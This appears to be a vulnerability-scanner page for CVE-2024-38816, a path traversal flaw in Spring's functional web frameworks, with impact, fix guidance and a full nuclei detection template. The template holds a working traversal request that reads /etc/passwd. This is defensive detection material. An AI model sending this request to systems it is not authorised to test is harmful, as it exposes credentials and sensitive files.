WebMvc.fn/WebFlux.fn - Path Traversal

highseverity

7.5CVSS score

21.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.

Impact

Unauthenticated attackers can exploit path traversal to read any file accessible to the Spring application process, potentially exposing sensitive configuration files, credentials, and application data.

Fix

Upgrade to Spring Framework versions that address this path traversal vulnerability or disable static resource serving through functional web frameworks.

How to confirm it

Send: GET {{BaseURL}}/static/link/%2e%2e/etc/passwd
Positive when: matches /root:.*:0:0:/ AND matches in content_type /application/octet-stream/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-38816 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-38816

info:
  name: WebMvc.fn/WebFlux.fn - Path Traversal
  author: pussycat0x
  severity: high
  description: |
    Applications serving static resources through the functional web frameworks WebMvc.fn or WebFlux.fn are vulnerable to path traversal attacks. An attacker can craft malicious HTTP requests and obtain any file on the file system that is also accessible to the process in which the Spring application is running.
  impact: |
    Unauthenticated attackers can exploit path traversal to read any file accessible to the Spring application process, potentially exposing sensitive configuration files, credentials, and application data.
  remediation: |
    Upgrade to Spring Framework versions that address this path traversal vulnerability or disable static resource serving through functional web frameworks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38816
    - https://github.com/masa42/CVE-2024-38816-PoC
    - https://spring.io/security/cve-2024-38816
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-38816
    epss-score: 0.21263
    epss-percentile: 0.97616
  tags: cve,cve2024,spring,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/link/%2e%2e/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: regex
        part: content_type
        regex:
          - "application/octet-stream"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from